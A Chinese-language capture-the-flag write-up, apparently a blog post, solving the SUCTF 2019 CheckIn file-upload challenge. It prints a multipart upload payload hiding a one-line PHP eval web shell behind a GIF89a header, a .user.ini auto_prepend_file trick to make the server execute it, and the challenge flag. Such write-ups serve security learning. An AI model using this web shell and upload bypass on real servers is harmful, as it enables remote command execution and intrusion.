[SUCTF 2019]CheckIn 1
打开实例,发现文件上传页面
根据题目提示,查看网页源码
这边提示系统会创建一个访问者的 IP 地址的 MD5 哈希值作为目录,并在其后拼接index.php
POST上传的upload参数,文件名不能为空,不能过大,不能包含ph
和htacess
,不能有<?
,并且限制上传类型为image
,如果满足以上条件,则输出文件位置和目录位置。
分析:
根据信息,已经能确定上传php类型不可行,包括php3、phtml等文件混淆,且包含文件类型限制,并且内容过滤了<?
,所以决定采用图片马+javascript+幻术头GIF89a
的形式上传图片马
payload:
------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="fileUpload"; filename="abc.jpg"
Content-Type: image/png
GIF89a
<script language='php'>eval($_POST['cmd']);</script>
------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="upload"
提交
------WebKitFormBoundaryi81FjE7IXd1HzMLZ--
上传成功,并给出了文件回显,(这个abc是做测试的时候传的)
Your dir uploads/ec53bc853c0c94f2bf546edd1a265425 <br>Your files : <br>array(5) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(7) "aaa.jpg"
[3]=>
string(7) "abc.jpg"
[4]=>
string(9) "index.php"
}
所以根据代码提示,图片马地址为
uploads/ec53bc853c0c94f2bf546edd1a265425/index.php
访问not found,存在解析问题
图片马成功了,接下来就是解析问题,根据提示.htaccess
被禁用,所以根据源码提示决定采用.user.ini
配置进行解析,这边一样得加上幻术头
payload
GIF89a
auto_prepend_file=aaa.jpg
上传成功,访问uploads/ec53bc853c0c94f2bf546edd1a265425/index.php
,解析成功
Hacker barPOST传递参数,参数为cmd
,也就是一句话木马的密码
找到flag
flag{2fd51ec6-e0e4-432c-8569-cc524f4b0271}
标签:SUCTF,index,string,CheckIn,jpg,2019,php,上传
From: https://www.cnblogs.com/tazmi/p/18542872